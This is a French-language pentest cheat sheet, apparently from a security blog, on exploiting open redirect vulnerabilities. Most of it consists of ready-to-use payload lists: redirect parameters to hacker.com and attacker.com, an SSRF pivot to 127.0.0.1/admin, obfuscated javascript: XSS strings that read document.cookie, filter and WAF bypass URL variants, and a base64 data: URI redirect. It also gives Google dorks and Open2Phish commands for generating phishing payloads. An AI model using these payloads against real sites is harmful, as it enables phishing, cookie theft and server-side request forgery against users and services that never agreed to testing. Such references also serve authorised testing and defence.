# Open redirect

## Outils

### Dom-red

Dom-red est un outil permettant de tester les failles open redirect.

Exemple d'utilisation:

*`$ python dom-red.py -d <liste de domaines> -p <liste de payloads>`*

ressource: <https://github.com/Naategh/dom-red>

### Open2Phish

Open2Pish est un outil de génération de wordlists de payloads d'open redirect et SSRF.

Exemple d'utilisation:

*`$ python3 open2phish.py -t target.com -d attacker.com`*

ressource: <https://github.com/mathis2001/Open2Phish>

### Intigriti redirector

Outil de génération de wordlist en ligne: <https://tools.intigriti.io/redirector/>

## Les types d'open redirect

### Header based

Les open redirect basés sur en-tête utilise le header "Location:" dans la réponse HTTP pour rediriger l'utilisateur. Il s'agit donc d'une vulnérabilité côté serveur.

### Javascript based

Les open redirect basés sur du javascript executent du code javascript dans le navigateur pour rediriger un utilisateur. Il s'agit donc d'une vulnérabilité côté client.&#x20;

## Detection

Le meilleur moyen de trouver des open redirect est de chercher des paramètres donc l'url est reflété soit dans un header Locaation dans la réponse, soit dans du code javascript.

#### Google dorks pour chercher des paramètres de redirection

```
inurl:%3Dhttp site:example.com
inurl:%3D%2F site:example.com

inurl:redir site:example.com
inurl:redirect site:example.com
inurl:redirecturi site:example.com
inurl:redirect_uri site:example.com
inurl:redirecturl site:example.com
inurl:redirect_url site:example.com
inurl:return site:example.com
inurl:returnurl site:example.com
inurl:relaystate site:example.com
inurl:forward site:example.com
inurl:forwardurl site:example.com
inurl:forward_url site:example.com
inurl:url site:example.com
inurl:uri site:example.com
inurl:dest site:example.com
inurl:destination site:example.com
inurl:next site:example.com
```

### Exploitation

#### Basé sur des paramètres

?redirect=<http://hacker.com>

?redirect=hacker.com

?redirect=.hacker.com

?<http://hacker.com>

...

#### Basé sur un en-tête referer

Créer une page comme celle ci-dessous sur le serveur attaquant puis pointer les en-têtes referer sur l'url du serveur.

<pre class="language-html"><code class="lang-html">&#x3C;html>
<strong>    &#x3C;a href="https://example.com/login">Click on this link!&#x3C;/a>
</strong>&#x3C;/html>
</code></pre>

## SSRF via open redirect

Exemple:

stockApi=<https://target.com/liens?redirect=https://127.0.0.1/admin>

## Open redirect to XSS  (javascript based)

```
javascript:alert(1)
javascript://%0aalert(1)
javascript://%0dalert(1)
ja\nva\tscript\r:alert(1)//?
jav\nascri\npt://evil.com%0Aalert(document.cookie);alert(document.domain);
javascrip%0at%0a:alert(document.cookie)//
http: javascript: alert(document.domain);
%09Jav%09ascript:alert(1)
javascript://%250Alert(1)
/%09/javascript:alert(1);
//%5cjavascript:alert(1);
//j%5c%5cjavascript%3aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
\j\av\a\s\cr\i\pt:\a\l\ert(1)
javascript:top[/al/.source+/ert/.source](1)
%26%2302java%26%23115script:alert(1)
j&#97v&#97script&#x3A;&#97lert(1)
j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt:alert&lpar;1&lpar;
javascript%3Atop%5B%27ale%27%2B%27rt%27%5D%28top%5B%27doc%27%2B%27ument%27%5D%5B%27dom%27%2B%27ain%27%5D%29%3B%2F%2F
%0Ajavascript%3Ato%0Ap%5B%27ale%27%2B%27rt%27%5D%28top%5B%27doc%27%2B%27ument%27%5D%5B%27dom%27%2B%27ain%27%5D%29%3B%0A/%0A/%0A
javascript%3Aalert%2F**%2F(document.domain)
javascript:var{a:onerror}={a:alert};throw%20document.domain
```

## Open redirect => CRLF => XSS (Header based)

{% content-ref url="injections/crlf" %}
[crlf](https://blog.s1rn3tz.ovh/pentest-web/injections/crlf)
{% endcontent-ref %}

## Bypass de filtre

{% embed url="<https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet>" %}

Essayer d'utiliser un nom de domaine du type target.com.attacker.com si la cible semble utiliser une regex acceptant uniquement les urls qui commencent avec son nom de domaine.

Autres exemples:

```
https://attacker.com/exemple.com
https://exemple.com.attacker.com/exemple.com
https://exemple.com@attacker.com/exemple.com
```

#### Bypass par autocorrection du navigateur

```
https:attacker.com
https;attacker.com
https:\/\/attacker.com
https:/\/\attacker.com
https:\\example.com
https://attacker.com\@example.com
//attacker,com
```

#### Avec le schéma data

```
data:text/html;base64,PHNjcmlwdD5sb2NhdGlvbj0iaHR0cHM6Ly9hdHRhY2tlci5jb20iPC9zY3JpcHQ+
```

#### Via encoding

Exemples:

```
https://example.com%2f@attacker.com
https://example.com%252f@attacker.com
https://example.com%25252f@attacker.com
https://attacker.com%252f@example.com
```

#### Avec des caractères non-ASCII

```
https://attacker.com%ff.example.com
https://attacker.com?.example.com
https://attacker%e3%80%82com
https://attacker。com
https://attacker%02com
%2f%2fattacker%25e3%2580%2582com
```

ressource: <https://jlajara.gitlab.io/Bypass_WAF_Unicode>
